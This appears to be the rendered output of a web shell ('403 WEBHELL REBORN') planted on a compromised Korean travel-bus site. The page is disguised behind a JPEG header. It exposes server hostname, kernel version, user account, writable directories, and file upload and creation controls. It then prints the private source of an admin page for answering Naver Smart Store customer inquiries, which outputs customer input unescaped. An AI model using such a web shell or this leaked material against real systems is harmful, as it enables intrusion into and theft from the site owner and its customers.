ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/board/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/board/smartStoreCustomerQna.html
<?php
    include "../include/top.html";
    include "_common.php";

    $sql = "SELECT * FROM `smart_store_customer_qna` ORDER BY sscqID DESC";
    $res = db_query($sql);
?>

    <style>
        .memoSaveBtn{display:none}
        .memoSaveBtn{cursor:pointer;display:none;clear: both;background: midnightblue;color: #fff;width: 60px;padding:5px 2px;border-radius: 3px;margin:10px auto 0}
        .smartStoreAnswerBox{min-height: 50px}
    </style>
    <div class="contents_wrap">
        <div class="contents_wrap_in" style="/*padding-top:0px*/">
            <div class="title" style="/*padding:0;margin:0;width:100%;background:#2d3539*/">
                고객센터<span class="arrow">&gt;</span>
                <strong>네이버 스마트스토어 고객문의</strong>
            </div>

            <div class="contents_detail">
                <div id="Content_box">
                    <div class="top_txt_s">

                        <table width="100%" border="0" cellspacing="0" cellpadding="0" id="board_list_tbl" class="t_list" summary="게시물을 확인하실 수 있습니다.">
                            <thead>
                            <th style="width:50px">네이버<br>아이디
                            </th>
                            <th style="width:200px">상품명</th>
                            <th style="width:600px">문의사항</th>
                            <th style="width:100px">상품문의시간</th>
                            <th style="width:40px">답변<br>여부</th>
                            <th>답변내용</th>
                            </thead>
                            <tbody>
                            <?php
                            while($item = db_fetch_array($res)){
                                $inquiryRegistrationDateTime = explode(".",$item['inquiryRegistrationDateTime']);
                                $inquiryRegistrationDateTime = explode("T",$inquiryRegistrationDateTime[0]);
                                $inquiryRegistrationDateTime = $inquiryRegistrationDateTime[0].' '.$inquiryRegistrationDateTime[1];
                            ?>
                                <tr>
                                    <td><?=$item['customerId']?>
                                        <?php
                                        if($TO_MB['mb_id'] == 'developer3'){
                                            echo "<br>".$item['sscqID'];
                                        }
                                        ?>
                                    </td>
                                    <td><?=$item['productName']?></td>

                                    <td style="text-align:left">
                                        <?php
                                            if($item['productOrderOption']){
                                                echo "옵션명 : <b>{$item['productOrderOption']}</b><br><br>";
                                            }
                                        ?>
                                        제목 : <b><?=$item['title']?></b>
                                        <br>
                                        <br>
                                        내용 : <?=nl2br($item['inquiryContent'])?>
                                    </td>

                                    <td><?=$inquiryRegistrationDateTime?></td>
                                    <td id="answerArea-<?=$item['inquiryNo']?>"><?=(($item['answered'] == 'Y') ? '완료' : '미완료')?></td>
                                    <td>
                                        <textarea class="smartStoreAnswerBox" id="answerText-<?=$item['inquiryNo']?>" inquiryNo="<?=$item['inquiryNo']?>" placeholder="답변을 해주세요."><?=$item['answerContent']?></textarea>
                                        <p class="memoSaveBtn" id="memoSaveBtn-<?=$item['inquiryNo']?>" inquiryNo="<?=$item['inquiryNo']?>">답변하기</p>
                                    </td>
                                </tr>
                                <?php
                            }
                            ?>
                            </tbody>
                        </table>


                    </div>
                </div>
            </div>
        </div>
    </div>

    <script>
        $(window).load(function(){

            $('.smartStoreAnswerBox').focus(function(){
                inquiryNo = $(this).attr('inquiryNo');
                $('#memoSaveBtn-'+inquiryNo).slideDown();
            });

            $('.memoSaveBtn').click(function(){
                inquiryNo = $(this).attr('inquiryNo');
                answerText = $('#answerText-'+inquiryNo).val();

                console.log('questionId is ' + inquiryNo);
                console.log('answerText is ' + answerText);

                if(!inquiryNo){

                    iziToast.show({
                        timeout:5000,
                        color: 'red',
                        title: '스마트스토어 답변 불가',
                        message: "문의ID가 없습니다. - 개발자에게 문의하세요.",
                    });

                    return false;

                }

                if(!answerText){
                    iziToast.show({
                        timeout:5000,
                        color: 'red',
                        title: '스마트스토어 답변 불가',
                        message: "내용이 없습니다.",
                    });

                    return false;
                }

                if(confirm('스마트스토어에 답변하시겠습니까?')){
                    sendSmartStoreProductAnswer(inquiryNo, answerText);
                }
            })
        })

        function sendSmartStoreProductAnswer(inquiryNo, answerText){

            $.ajax({
                type: "post",
                url: "/toadmin/ajaxData/",
                dataType: 'json',
                data: {'mode': 'sendSmartStoreCustomerAnswer',inquiryNo, answerText},
                async: false,
                success: function (data) {
                    console.log('data is ' + JSON.stringify(data));
                    if (data.result == true) {
                        iziToast.show({
                            timeout:2000,
                            color: 'green',
                            title: '스마트스토어 답변',
                            message: "답변이 정상적으로 등록되었습니다..",
                        });

                        $('#memoSaveBtn-'+inquiryNo).slideUp();

                        $('#answerArea-'+inquiryNo).text('완료');


                    } else {

                        iziToast.show({
                            timeout:5000,
                            color: 'red',
                            title: '스마트스토어 답변 실패',
                            message: data.errorMsg,
                        });

                    }
                },
                error: function (a, b, c) {
                    console.log('500 error');
                }
            });

        }

    </script>


<?php
    include "../include/footer.html";
?>

Anon7 - 2021